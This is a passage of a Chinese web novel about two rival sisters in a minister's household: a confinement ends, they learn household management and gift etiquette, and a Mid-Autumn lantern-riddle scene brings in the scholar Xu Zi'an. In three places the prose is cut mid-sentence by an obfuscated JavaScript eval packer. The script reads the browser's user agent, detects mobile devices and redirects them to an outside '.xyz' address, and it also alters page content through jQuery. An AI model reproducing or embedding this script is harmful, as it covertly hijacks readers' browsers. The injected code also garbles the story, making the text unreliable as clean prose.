她把谢盈给她的三十两银子拿了出来,十两给了如月,在花房干活肯定不如在尚书府姑娘家身边伺候体面,而且还挨了板子,总得买一些补品吃。 剩下一人给了五两,正好补了三个月月钱,还能买些吃食。她看过不少宅斗剧宫斗剧,知道对下人不能抠搜了。 一人做事一人当,反正拿的是谢盈给她的银子,谢宜也不心疼。可这样一来,谢宜自己就没什么钱了。 等禁足结束之后,她可得想法子赚钱了,不过马上就下个月了,月初给月钱,原身生日也在下个月,虽然这个朝代年轻人不过生辰,但是总不能生辰还被禁足着。 谢宜在床上翻了个身,又想起了昨日在正院,谢盈说的话。 谢宜承认昨日是自己弄错了,不怪谢盈。可是祖母寿宴上,谢盈故意为难她总是真的,诗会上意有所指也是真的,在这两件事上,谢宜没有误会她。 谢盈什么都有,父母宠爱,漂亮的脸蛋出身,原身则不被重视十几年,这难道就公平吗。 同为女子,谢盈可想过这些。自己锦衣玉食,还有个不受宠的妹妹。 所以,谢宜才觉得谢盈可悲,为了在谢昌韫面前表现,为了稳住尚书府二姑娘的名声……无所不用其极。 她坐了起来,又想起昨日晚上送她回来的徐子安,那倒是个懂礼的读书人。谢盈说得没错,马上秋闱,却为送她耽误那么久,谢家虽然登门拜谢了,但是她还没有。 谢宜打算让丫鬟跑一趟,怎么说也是救命之恩。 想起昨日,谢宜还有些害怕,幸好有徐子安。 谢宜让丫鬟去了趟如云客栈,如今她没什么钱了,也没拿得出手的礼物,就自己做了些糕点,有绿豆糕,还有戚风蛋糕。 她嘱咐丫鬟,“你送给徐公子,就说是我亲手做的,感谢他那日帮忙。” 丫鬟去了,不过两个时辰后又带着点心回来了,“姑娘,徐公子说府里已送了谢礼,况且只是举手之劳,不必言谢。奴婢同他说只是一些点心,也是姑娘的心意,但徐公子依旧推脱,还说要去温书,奴婢不敢打扰,就回来了。” 谢宜点了点头,“那点心你们分着吃了吧。” * 天气渐凉,转眼就进了八月份,中午谢盈也不去湘水亭了,就一直在照影楼不出门。 沈氏还过来了一趟,“你父亲罚你反省,又没说多久,待两日也就算了。” 沈氏还安慰女儿,“你三妹如今性子跳脱,那日天黑未归,怪不得你这个做姐姐的。” 谢盈轻轻笑了下,“女儿只是喜欢看书。” 今日初九,要考乡试第一场,这会儿出门也没什么意思,还不如在家中多看看书。 沈氏笑着道:“盈儿喜欢读书,说不准日后嫁一个读书人,到时品茶论诗,也别有一番风味。” 谢盈面上一恼,“母亲!” 梦里嫁人,那只是梦里,如今谢盈还没见过几个外男,她不想说这些。 沈氏笑着摸摸谢盈的脑袋,“不说了,母亲不说了。” 谢盈深吸一口气,转到正事上,“母亲,这也好几日了,过几日就是三妹生辰,也该把她放出来了。三妹若是出来,你也教她管家吧。” 谢盈是自小跟着沈氏,偶尔沈氏去看铺子、理账,都让她在旁边跟着学着,今年过生辰之后,也让她管铺子练手。 如今和梦中不一样,梦中没有谢宜被禁足一事,这个时候,谢宜已经开始做生意了。而她与谢宜较劲,非要比一比,结果却不尽如人意,沈氏也因她受罚。 因为谢宜比谢盈还小半年,沈氏未曾带她学过管家,谢宜无师自通比她这个学过的还能干。 谢盈不想母亲也被连累,主动带着谢宜学,就算她比不过,那也只能说她笨,怪不到母亲头上。 沈氏点了点头,“也好,看着她学些东西也省着出门惹事。” 她嘱咐了几句,让谢盈劳逸结合,别累着,就离开了照影楼。 谢盈看着沈氏离开的背影,这样应该就能避开梦中的事了吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478962|169986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 今年八月份事多,初九、十二、十五三场乡试,十五还是中秋,十三是谢宜生辰,还有几日而已,就算不提,谢昌韫也会放谢宜出来,倒不如让沈氏提。 沈氏回去就劝谢昌韫,让他把谢宜放出来,“三姑娘年纪小,贪玩也是正常,下次出门多带些护卫就好了,老爷担心三姑娘,但别过犹不及,伤了父女间的情分。” 谢昌韫点了点头,沈氏道:“我想等着三姑娘过了生辰,就教她管家,也是大姑娘了,该学着些,日后嫁了人也能在婆家立足。” 谢昌韫:“夫人决定就好。” 他想的和沈氏一样,学些东西,也省得总出门乱跑,姑娘家,还是乖巧懂事些得好。 谢昌韫让丫鬟去溶月轩传话。 今日离谢宜生辰还有三日,谢宜就知道,这几日会被解除禁足,果不其然。 谢昌韫把脸面看得比命还重,其实也不是坏事,若是传出去,谢昌韫和沈氏苛待庶女,对谢家名声也不好。 可算解除禁足了,谢宜心里松快多了,她可以自己不想出门,但不想被关着不能出门,这几日实在是憋坏了。 如今解除禁足,她想做的第一件事就是亲自去如云客栈道谢。她没把自己当谢家人,谢家道谢是谢家的事,徐子安救了自己,那日丫鬟送谢礼也没收,谢宜觉得还是有必要当面说声谢谢。 府上规矩多,谢宜让丫鬟去正院说一声,也说了自己出府的缘由,知恩图报,沈氏总不能拦着她出门。 打了招呼,谢宜便去马房坐车出门了。 上回做了点心,但徐子安没收,这回去谢宜拿了月钱,买了一方砚台。 徐子安是读书人,马上秋闱,应该能用得上。到了客栈,谢宜请小二去通传,“你就说谢府姑娘来道谢。” 等了一会儿,徐子安从楼上下来,今日谢宜着的女装,很是清丽,徐子安见她愣了愣,“原来是谢姑娘,敢问有何事?我急着去温书,若无要紧事……” 谢宜笑了一下,“一点小事,就耽误公子一会儿。” 二人在一楼找桌子坐下,谢宜先给徐子安倒了杯茶,然后说道:“那日感谢公子帮忙,又送我回府。公子是今年考生吧,因为是我耽误温书,实在对不住。今儿我特备了些谢礼,还望公子收下。” 徐子安皱着眉,“举手之劳,姑娘实在不必放在心上。谢礼就算了,男女之间私相授受,也碍于姑娘名声。” 谢宜有些愣神,古人就是古人,这顾虑也太多了,“公子就当我过意不去,只一件礼物而已。” 徐子安摇了摇头,“不必了,姑娘若无别的事,在下就回去温书了。” 谢宜张了张嘴,徐子安已起身,回楼上了。 装着砚台的匣子还在桌上,可那天晚上谢盈让马车送他回去、谢府的谢礼,徐子安也收下了。谢宜只能当徐子安是为了她的名声,可这砚台怎么办? 谢宜不想写字,她已经想好了,可以看书认字,不然在这个时代寸步难行,不过以后写字就用炭笔,相比之下,炭笔还更方便省力。 她让丫鬟去问问,砚台还能不能退,问过之后说不能,谢宜只能把东西带回府。 回到溶月轩不久,正院丫鬟就来传话,“三姑娘,夫人请你过去一趟。” 正院,谢昌韫在,谢盈也在。 今日谢昌韫休沐,谢宜终于解除禁足,这么些时日,谢昌韫也想见见,当日的事也过去了,谢宜说两句好话,父女间关系也能缓和些。 谢盈过来,则是为了陪沈氏谢昌韫用饭。 谢宜进屋,给三人行了礼,“见过父亲母亲,见过二姐姐。” 谢盈点了点头,沈氏道了声,“起来吧。” 谢昌韫脸上写着不悦,“刚解除禁足就出门。” 谢宜深吸一口气,不让她出门干嘛解除禁足,“那日徐公子帮了忙,女儿总想着亲自过去道谢,不然心里难安。” 谢昌韫前些日子打听徐子安来着,是固安的案首,功课不错尚未娶亲,他道:“那也别光想着出门,我和你母亲商量了,等你过了生辰,就开始学管家,也省得日后嫁人,被婆家说我谢家教女无方。” 谢宜心道,谢昌韫到底多看不上这个女儿啊,都未曾管教过原身,何谈教女无方。 谢宜想了想,看了眼谢盈,问道:“光我学,二姐不学吗?” 谢盈:“我大你半年,已经学了一阵子了。” 谢宜道:“父亲,那我可否跟着二姐姐一起学,这样也有个伴儿。” 8. 第八章 待客 谢盈心里一紧。 梦中,是她看谢宜学得快,心里不服气,想要比。可她刚才没有像梦中一样,怎么谢宜反倒要和她一起学了。 谢盈开口婉拒,“父亲母亲,如今虽不用再去学堂,可女儿也常在书房看书,每日去母亲院中学管家的时间不定,不好耽误三妹妹。” 当初启蒙,谢家给两人请了女先生,上午学书数,下午是礼乐,今年谢盈和谢宜十四岁,也到了要议亲的年纪,课就停了,也是准备跟着沈氏学管家。 沈氏点了点头,“也是,而且盈儿已经学了半年,没法子一起学。” 跟着谢盈一起,谢宜也跟不上。 谢昌韫沉吟片刻,刚要点头,谢宜就道:“父亲母亲,若是我能赶得上二姐姐,是不是就能一块儿了?我总听府里下人说,二姐聪慧,做什么都利索,我这个当妹妹的也仰慕姐姐风采。至于二姐时常读书,反正我也没别的事,等二姐空了就是。” 谢昌韫觉的谢宜这样还算懂事,“也好,凡事多跟你二姐学学,别总想着往外跑,省着日后嫁人了什么都不会,让人笑话。” 谢宜:“女儿必定勤学多问。” 谢盈有些无奈,她不想事事都和谢宜扯在一起,可谢昌韫已经答应了,她又不能反驳。 只是她不懂,为什么谢宜要跟她一块儿。 她想了想谢宜刚说的话,若是赶得上,就能一块学,若赶不上,岂不是不必一块儿了。 如今谢盈已经学过了看账本,也常看帖子和来往送礼的礼单,梦中谢宜学什么都很快,这些应该不成问题。 谢盈看向谢宜,谢宜双手叠放在小腹前,她目光落在了谢宜的手上,好一会儿才移开。 她想起了那日诗会,先写了“杨”字,谢宜却说“水光潋滟晴方好”,就算是没看清,可是后面的“与”字谢宜也没看出写错来。 倘若不识字也不会写,又该怎么学别的呢。 谢宜见谢宜一直盯着自己,挑了挑眉,道:“二姐姐若实在不愿,我也不勉强。” 就她会绿茶吗,好像谁不会一样。谢盈喜欢当好姐姐,不可能拒绝的。 谢盈笑了笑,道:“我也盼着妹妹能快些学,不过也要劳逸结合。” 谢宜笑着道:“多谢二姐姐。” 跟着谢盈一块儿不怕沈氏藏私,沈氏管家理事有一手,她只要好好学,日后嫁人也能过好自己的日子,不好吗。 谢昌韫乐意看姐妹相亲,拍拍沈氏的手,“夫人费心了。” 吃过中午饭,谢盈就回到了照影楼,既然要学那就好好学,笨鸟先飞的道理她懂,如今谢宜自己学,若是学得快了,不日两人就要一起。 一下午,谢盈都在书房没出去。等到傍晚,谢盈去了正院,问了问今儿谢宜都学了什么。 沈氏道:“你三妹妹下午没过来,明日才学呢。” 谢盈又问:“母亲打算先教三妹妹什么?” 沈氏:“就先从看账本开始吧……” 谢盈挽着沈氏的胳膊,“母亲,不如先教三妹妹看礼单吧,马上中秋了,在旁边学着也能知道怎么打点人情往来。” 管家又不止看账本打理生意,还要管阖府上下衣食住行、家中人情走动、办宴会写帖子…… 绝非易事。 沈氏一想又要教谢宜又要管中秋的事就头疼,“那也好,这两日你也别光在院子里待着,帮我做些事,我和你嫂嫂实在忙不过来。” 谢盈点了点头,“明早女儿便过来。” 次日一早,谢盈吃过早饭就来了正院,沈氏分了一个写礼单拜帖的活儿给她,送节礼时礼单拜帖缺一不可,礼单上写着送礼的样数,拜帖写主人家的名字。 谢盈的字好看,让她写这些最合适。浣花笺上簪花小楷,香气透过墨汁和纸张传来,可以说落笔生花。 谢盈的嫂嫂林氏看后忍不住夸赞,“妹妹这字当真好,我都恨不得让妹妹多写几张,正好我那儿还有一匹玉池白绫,给裱上多好。不过是今儿心疼妹妹累手,还是算了。” 谢盈道:“嫂嫂惯会夸我,若是喜欢我送宁姐儿两本字帖,让宁姐儿照着练,嫂嫂日后就能日日看了。” 林氏说道:“那感情好,就是宁姐儿被惯坏了,要是有她姑姑一半才学,我也知足了。” 沈氏在一旁看着,脸上也有笑意,姑嫂二人说着笑,谢宜也带着丫鬟来了。 谢宜进屋行了礼,“见过母亲、嫂嫂,见过二姐姐。” 沈氏道:“你来得正好,今儿看帖子,你把这些仔细看看,等晚些时候我教你怎么写。” 谢宜愣了愣,不是学管家吗,怎么还要看帖子。 沈氏忙着,顾不上谢宜愣神,选了往年的礼单帖子给她看,叮嘱道:“看看给各家都送什么礼物,这些都要记住,每年大差不差的。有些人家,就算你们日后出嫁了,也得走动着。” 联姻便是亲上加亲,就比如谢府女儿出嫁后,和沈家、林氏娘家都是亲戚,礼物要照着帖子上的送,不能失了礼数。 谢盈抬头看了一眼,谢宜脸色僵硬,眉头紧紧皱着,好半响才应了声是。 谢盈收回目光,在给谢昌韫同僚的礼单上写下酥饴斋月饼两盒、桂花酿两坛、火腿两副、水果两筐。拜帖写得是——花好月圆,佳节同贺,吏部尚书谢昌韫敬拜。 到时管事拿着礼单拜帖前去就行了,谢家亲朋众多,谢父同僚也多,送去不同府的礼单不同,谢盈一写就是一上午。 写过她看一遍,再由林氏看一遍,省着出了差错在外人面前闹笑话。 林氏一边看,一边感叹,“母亲,你瞧二妹妹这字,当真是铁画银钩。日后三妹妹也学着管家,有两位妹妹帮衬,母亲可就轻巧了。” 谢宜低着头,一听说到自己,瞌睡都没有了。一上午,沈氏林氏都在忙碌,连谢盈也写个不停。 无人看她,谢宜只需要看帖子就好。 可是帖子上是一群繁体字夹杂着几个简体字,谢宜不认识,这些帖子又没有简体字的注释,她压根就看不懂。 可是她又不能让人发现她看不懂,只能硬着头皮在这儿坐在这里,本来她是想带回去看,可又怕谢盈告状,说她偷懒。 谢宜坐了一个多时辰,又饿又困,这会儿林氏提起自己,她也只能笑笑。这算什么管家理事,光在这儿坐着,沈氏根本没教她什么。三个人自己做自己的事,没有一人理会她。 她都怀疑沈氏是故意为难她,谁管家学这些,不应该学打理铺子做生意吗?看这些帖子有什么用! 林氏许是看出谢宜兴致缺缺,人还不太精神,笑着道:“头回学这个是难一些,得把和谢家有关的亲朋都记住,也省着出门在外遇见了,人却不认识。送礼也有学问,多看看就会了。等三妹妹把这些学会,再学别的就容易了。也别急,都是从这会儿过来的。” 人情往来打点不好,做什么都方便。就比如日后做了生意,有些关系是能用得上的,礼可不白送。 谢盈这边又写完一张礼单,交给林氏看。 林氏看完放在高高的一摞里,说道:“下午再写吧,睡会儿再过来,别累坏了。” 谢盈点点头,上午她忙着写礼单,只抽空看了谢宜两眼。也是巧了,她看谢宜这两眼,谢宜都低着头,桌上的帖子都没有动。 这个功夫都在都够在帖子上作幅画了,谢宜好像真的不认字。 不过也不排除别的可能,梦里就时常有人恭维谢宜,谢宜总推脱自己什么都不会,说不成不成,可做出来却比谁都好。 这也是谢盈没在诗会上点名的原因之一,她不能因为谢宜面上不会就掉以轻心。 听上午完事了,谢宜赶紧站起来,“母亲嫂嫂,那我就先回去了,下午再过来。” 沈氏点了点头,累了一上午也没心思关心谢宜都学了些什么。 谢宜匆匆回了溶月轩,在床上瘫了好一会。就不能先教她别的吗,就算学这个,也要好好教呀,只把帖子礼单扔给她看,这算什么?白白耽误了一上午。 谢宜翻了个身,下午难道还要过去坐着,在沈氏谢盈面前坐着,真是比禁足还让人难受。 想了想,谢宜让丫鬟过去传话,就说自己身子不适,想把礼单拿回来看。 沈氏点头应允,这东西在哪儿都是看,她也让丫鬟去照影楼传话,还把浣花笺都送了去,就让谢盈在照影楼写,省着过来被太阳晒。 谢盈了点头,下午在书房没出门。 这个季节用不着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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谁都知道人幼时学东西最快,谢宜前世都二十多了,而繁体字比简体字笔画多还繁琐,有的长得还特别像,学了一下午,谢宜也仅仅认得十几个字,她还不会写。 就算会写,她也不会用毛笔写字。真写出来,恐怕还不如谢盈用左手写得好。 谢宜松了口气,做什么都好,只要不看这些帖子,她什么都愿意做。 次日是十一,沈氏一早就出门了,谢盈起得也早,用过早饭先去寿安堂给赵氏请安,然后就来了正院。 林氏在,但谢宜还没过来。 林氏说道:“我今儿还得安排送节礼的事儿,若有其他府上的人过来,妹妹先应付着。” 谢盈点了点头,“嫂嫂放心,若三妹过来,我带她学这些。” 林氏笑了笑,“真是有劳二妹妹了。” 姑嫂间感情一直不错,梦中谢盈日子不好过,兄长对谢宜好,对徐子安也好,但林氏不那样,还私下给她送钱。 谢盈道:“都是一家人,嫂嫂这样说就太见外了。” 谢宜来的时候谢盈已经接待了两拨人,她正在记礼账,闻声只抬了下头,“母亲今日有事出门了,嫂嫂在忙着给各府送节礼,三妹妹跟我一块儿接待客人,也就一上午,不用你做什么,在一旁先看着学着就是。” 说再多不如在一旁看着学,更能记住。 谢宜点了点头,她不太明白为何接待客人还用学,这有什么好学的。 谢宜心里疑惑,正好下人通禀,说是固安徐子安的书童来了。 谢盈皱了皱眉,徐子安怎么会给谢家送节礼?谢家跟徐家根本并没有什么交情,往年礼单她看过,也没见送过的。 谢宜见谢盈面露疑惑,赶紧道:“二姐姐,这是那日帮我忙的徐公子。” 谢盈恍然,估计是因为谢宜,她点了点头,吩咐丫鬟,“请人进来。” 很快,徐子安的书童就拿着拜帖礼单进来了,“二姑娘,我是我家公子的书童,我家公子明日考试,实在抽不开身,特命小的过来送节礼。祝姑娘中秋佳节团圆美满,也祝谢大人事事顺遂。” 谢宜笑了笑,开口道:“有劳你过来一趟,回去告诉你家公子,多谢了。如青,你送这小哥回去。” 书童愣了愣,求助地看向谢盈,“二姑娘,我们公子……” 谢盈唇间挂了抹淡淡的笑,“我三妹妹才学管家,不懂这些,见笑了。” 9. 第九章 中秋 谢盈给照云使了个眼色,照云取礼单拜帖来,谢盈看礼单上有月饼酒水、火腿水果,总共八样。 谢盈在月饼水果后面写了敬领,酒水和火腿后写了敬谢,后面两样贵重些,两家情分不深,不宜收徐子安太贵重的礼物。 放下笔,谢盈让照云把礼单送还,书童这回笑了,“多谢二姑娘!” 谢盈:“照云,送他出去。” 谢宜眨了眨眼睛,脸一下就热了起来,她看明白了,刚她说送人出去,是不收节礼的意思。 她明明想收下节礼,却说成了让人走,这岂不是告诉别人,谢府的三姑娘连礼节都不懂。 谢宜转头看向谢盈,若是刚才谢盈提前说了,她也不会…… 谢盈故作为难道:“三妹妹,我知道你想快些学,但心急吃不了热豆腐。刚让你在旁看着,就是因为收礼也有讲究。别人拿礼单和拜帖过来,拜帖留下,送来的东西也不能全收,收下的在礼单上写敬领,不收的写敬谢,再把礼单还回去。” 梦里都是谢宜说她,这是头一次。 谢宜自知理亏,若非是徐子安的书童,她也不会开口。可若谢盈早些告诉她,她就不会出丑了。 谢盈记了礼账,她没想到谢宜会开口,好在只是徐子安的书童,徐子安又心仪谢宜,估计也不会在乎这个,若刚才来的是别的府上的下人管事,那可真是丢脸了。 看谢宜一脸的羞愤,谢盈咳了一声道:“妹妹莫要心急才是。” 谢宜咬着牙点了点头,这回她就在旁边坐着,学这个倒是比记礼单容易,又来了几波人,多看几回她便学会了。 谢盈看她神色恢复如常,试探问道:“三妹妹要不要试试?” 总共写几个字而已,若这次谢宜还推脱…… 谢宜摇了摇头,她看会了却不会写,真写了不还是丢人,“退回什么礼物我心里没数,还是二姐姐来吧。” 谢盈顿了一息,而后笑笑道:“得看交情,也看两家家境,退个少半就是。” 谢宜觉得古代人真麻烦,送就送了,把礼单和拜贴送来就是,为何还要还回去一些礼物。 既然要还,为何不直接送两样四样,她嘟囔着,“这样来来回回的,也不嫌麻烦。” 谢盈没有搭话。 另一边徐子安的书童终于到如云客栈了,刚在尚书府,真是把他吓了一跳,还以为谢家不收节礼呢。 进了屋子,书童把礼单和剩下的两样节礼放在圆桌上,“公子,我回来了。” 明日考第二场,徐子安还在书桌前温书。 徐子安点了点头,送去八样收下四样在他的预料之中,他只扫了一眼,又捧起书读。 书童心有余悸地拍了拍心口,本来不想打搅,可实在憋不住,“公子你是不知道,今儿沈夫人不在,是二姑娘和三姑娘招待的我。我进去之后,三姑娘却说有劳我过来一趟,还让我回来同你说谢谢。给我吓了一跳!好在二姑娘身边的丫鬟接过拜帖和礼单,我还以为谢府不收呢。” 徐子安怔了怔,他把书放下,起身去圆桌前拿起礼单。 礼单是他自己写的,用的是浣花笺,黑字红底,他见“五香斋月饼两盒”后面又写了“敬领”二字,酒水和火腿后面写的是“敬谢”。 徐子安看着这字,眼睫止不住地颤,半响他抿了下唇,最后笑了,这是谢二姑娘的字迹。 他本来没想送节礼,若非谢家给的谢礼太多了,他也不会想还一些。谢家第二日送来了五十两银子两块墨锭,徐子安只是帮了点小忙,实在受之有愧。思虑再三,还是决定趁着中秋送些节礼过去。 徐子安又看了几眼礼单上的字,书童左看看右看看,实在不明白为何自家公子又来看礼单了。 徐子安并未解释,把礼单收好,夹在自己常看的书中,然后专心读书。 八月十二,乡试考第二场。 谢府给各家的节礼也送去了,谢盈还同沈氏说了徐子安遣书童过来送节礼的事,并隐去了谢宜冒失的经过。 谢盈说这些是想问问可用回礼,按理说不用,虽然有礼尚往来一说,可徐子安毕竟是小辈。 沈氏道:“送便送了,他倒是个知礼的人。” 若是自己来那是别有用心,可让书童过来,大约只是因为那日谢礼太多,不好意思收下。 沈氏说完,又问谢宜学得如何,谢盈斟酌着道:“还不错,昨儿在旁边观摩了一上午。” 沈氏点了点头,“知学就好,这两日你们跟我筹备宴会。日后嫁人,这些都是你们的事。” 十五是中秋,月圆象征团圆,今儿各家团聚,也是考乡试第三场的日子,考场中气氛焦灼,但京城各府已经开始准备过节了。 谢府。 早上丫鬟小厮把庭院打扫干净,今儿的谢府和往日很不一样,亭榭前都绑了红绸,尤其是湘水亭和照影楼,红绸从楼上飘下,庭前摆着各式各样的菊花,漂亮极了。 谢盈今儿换了新衣,上身穿着象牙白的竖领长衫,上面用云峰白色的丝线绣了鸾凤折枝四季花纹,下面穿的是绣璎珞杂宝纹的深灰蓝百迭裙,梳了单螺髻,钗子是贝母嵌的,这个到晚上最好看,在灯下流光溢彩。 谢盈未施脂粉,但贴了用云母片裁的莲花花钿。 照水直说谢盈今儿更好看,谢盈笑了笑,这么多时日,除了祖母寿宴,她也就今儿好好打扮了,不仅因为佳节,还因为这些日子没像梦中那般。 梦中谢宜这会儿已经开始做生意了,赚了很多钱,祖母夸她能干,母亲则因她不争气被父亲责骂。这年中秋,谢盈过得并不顺畅。 谢盈摇了摇头,不再想梦里的事,先去请安,然后跟着谢昌韫和沈氏去了祠堂,二人领着一众儿女祭拜先祖。 今日沈氏和谢昌韫也盛装,谢盈看谢宜没穿素净衣裳松了口气,一个法子最多用一次,多了就不好用了。 祭拜完,谢昌韫就去上朝了。 谢盈回了照影楼,离天黑还早,不过丫鬟已在院中庭前摆好瓜果花卉,花是鸡冠花,果子有毛豆蜜瓜,打算月亮升起时拜月。 照影楼是府内最高的建筑,在楼上看见的景色也最好。 登高望远,夜幕降临时,皓月当空彩月初散,照影楼的几个丫鬟各个打扮过,笑着拜月,谢盈看时辰差不多了,就去了正院。 谢昌韫坐在庭院逗弄着孙女儿,谢盈还有两位妹妹,是谢昌韫另一位妾室所生,不过隔代亲,他更疼宁姐儿多一些。 两三岁的正是可爱的时候,谢盈也忍不住逗了逗。 人都齐了,今日要赏月,没去里面吃饭,就在庭前的圆桌前坐下,桌上有各式各样的菜品、点心,更少不了月饼。 吃过饭,谢宜问:“父亲母亲,听说今儿有灯会,我想出去看看。” 谢宜自解除禁足以来都听话懂事,而且这些日子一直学管家,鲜少出门。沈氏点了点头,叮嘱道:“早些回来,带好丫鬟护卫。” 谢宜高高兴兴地应了是,欢欢喜喜地带了丫鬟出门。 林氏也同谢霖出门游玩了,沈氏看了一眼谢盈,“你也出去看看吧。” 谢盈张了张嘴,“女儿……” 沈氏叹了口气,道:“今儿中秋,外面张灯结彩多好看。有时我倒盼着你同你三妹妹一样,贪玩些,别总在院子里面看书抚琴,连门都不出。” 沈氏还欲再说,谢盈赶紧道:“女儿又没说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478964|169986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。” 沈氏笑了笑,“快去吧,迟了灯会都看不着了。” * 城南百姓多,一贯热闹,况且今日刚考完乡试,百姓考生争占酒楼玩月,楼上有人倚窗赏月喝酒,街边明灯高悬,楼内丝篁鼎沸,当真是热闹非凡。 谢盈看着满街的人和灯,不禁笑了笑,街上不少姑娘,有人手里还提着灯,兔子灯眼睛红红的,里面放了烛火,远远看去竟显得毛茸茸的。 谢盈瞧着稀奇,也买了盏。 街边多是商贩,要么卖灯要么卖月饼果子,还有猜灯谜的,谢盈见书坊门口猜灯谜的人最多,就站在外围看了看。 老板站在台阶上,打开一个灯谜,晃着折扇说道:“打开半个月,收到兜里装,来时荷花放,去时菊花黄,诸位猜一物。” 谢盈看了眼他手里的折扇,应该就是这个,天凉了,马上就用不到了。 不少人说答案,有说伞的,有说团扇的,紧接着,有人说是折扇。 老板一边笑着,一边又打开一灯谜,“没错,谜底就是折扇。下一题——百年前的月亮,猜一字!” 谢盈觉得猜灯谜还挺有意思,百年为古,古月合起来不就是胡字。 这个比上一个灯谜简单多了,很快就有人说:“这个简单,胡字!” 老板:“公子答对了,下一个有些难,小时两只角,长大没有角。待到二十多,又生两只角。猜一物。” 谢盈听得认真,待到二十……她望了眼天,今日十五,圆月无角。 有人猜蝴蝶,有人猜蜻蜓,动物才长角,可是全都猜偏了,自然无一个对的。众人绞尽脑汁也想不出,有人抱怨:“老板也不给些提示。” 众人哄嚷乱作一团,书坊旁边二楼酒楼,徐子安靠窗吹风。今日考完,同县的几人在这儿喝酒,徐子安不常喝,只饮了两杯就受不住,到窗边透气。他看着下面人猜灯谜,忽然间眼睛一亮,急忙与同桌人赔罪,“我有些事下去一趟,失陪了。” 街上,老板笑着道:“与中秋佳节相关,诸位可得好好想想。这个的确难一些,第一个说出来的,这个玉兔灯彩头就归他了!” 玉兔灯挂在高台门口,除了灯,还有别的彩头,但显然这灯是最好的。 谢盈心道,这提示明显也不明显,但刚刚都想物,谁能想到谜底远在天边。 谢宜过来时听见的就是这句话,而书坊门口围了一堆人,都皱着眉苦思。 与中秋佳节有关的诗词还不简单,谢宜抬高声音,一边走一边道:“明月几时有,把酒问青天。不知天上宫阙,今夕是何年。 …… 人有悲欢离合,月有阴晴圆缺,此事古难全。但愿人长久,千里共婵娟。” 谢盈回头看去,她没想到在这儿看见谢宜了,谢宜她在做什么。 谢宜念完,笑了笑。这首词她斟酌过,没有不熟悉的人名地名,正是苏轼为中秋所作。 众人也看了过来,书坊老板面露疑惑,他手里还拿着那张灯谜,“姑娘这是何意?” 众人都看过来,这也太怪了,好端端猜灯谜,她念什么呢。 虽没人看自己,可谢盈觉得脸上有些热,兴许到不了明日,就能传出谢家三姑娘在猜灯谜的地方作词的话来。 谢盈看向老板,道:“我妹妹许是听错了,以为这是诗会。不过灯谜就在我妹妹念的词中,对不对。” 谢宜怔了怔,谢盈怎么在这儿,什么灯谜? 有人恍然道:“是不是蝉?幼时有角,成蛹无角,而后又有了!” 谢盈:“是月。” 两道声音合在一起,还有一道声音,听着像是少年说的,声音如溪水击石。 10. 第十章 赢了 谢宜率先回过头,她听出这是徐子安的声音了。 徐子安急着从楼上跑下来,耳朵还有些红,他依着谢盈所说,“谜底的确在刚才姑娘所念的词中,就是月字。” 徐子安看了谢盈一眼,这样说,不会让谢宜太难堪。谢二姑娘顾虑当真周全,做事也妥当。 今日谢盈穿了一身云峰白,连头上的钗子也在月色下泛光,远远看着,犹如圆月高不可攀。 老板笑着点了点头,“没错没错,谜底的确是月。” 众人不明白怎么会是月,都低头琢磨起来,想了一会儿就茅塞顿开了,每月到二十多日,月亮的确是有角的,初几的月牙有角,到十五又成圆月了。今儿中秋,谜题也多与月有关,他们光顾着“角”了,想动物才有角,却没想到答案最是简单。 无人看谢宜,也无人在乎她刚才念了多好的词,本来在这就是为了猜谜题,又不是作诗作词,好与不好与他们有何相干。 能猜中灯谜才是要紧的,有几人的目光还落在谢盈身上,这位姑娘虽然站在后头,可说话时胸有成竹,估计早就猜出来了。 谢宜这才明白,这里是在猜灯谜。书坊前有灯,灯下挂着灯谜,可是别的铺子前面也有。 想想自己刚才都做了什么,谢宜脸上一热,她不禁咬住唇。她怎么就不问问清楚,等一会儿,光凭一句话就来作词? 谢盈说不上自己心里什么感觉,她知道今日是因为自己冒失,不怪谢盈。 但是这样的事都几次了,在诗会上徐子安求诗,谢盈提出替她来写,还有前些日子在家中,徐子安的书童来送帖节礼,她又闹了笑话,是谢盈让丫鬟取来礼单和拜帖。 今日也是。 比起感激,谢宜心里更多的是难堪。难堪于被二人撞见这一幕,若二人不在,她大可以说是自己没听见前面的,不知者不怪。或是只有一人在,也好过现在这样。 可偏偏二人一起说出了谜底,默契非常,看得谢宜心里难受得厉害。不仅如此,还有人非要把谢盈和徐子安扯在一起。 老板笑着,看了谢盈一眼,又看向不远处的徐子安,“今日两位都猜中了,但彩头只有一个……” 徐子安只能看见谢盈的背影,他道:“我们虽是一同说的,可却是谢二姑娘先说了谜底在词中,彩头理应归她。” 老板道:“这话没错,的确是这位姑娘先说出来的,这玉兔灯就归这位姑娘了!” 众人拍掌叫好,虽然词是谢宜说的,可俨然她所说和谜题无关。谢盈为之解围,却不能因为谜底在词中就算谢宜猜中的。 而徐子安说得慢,谢盈赢得彩头也算实至名归。 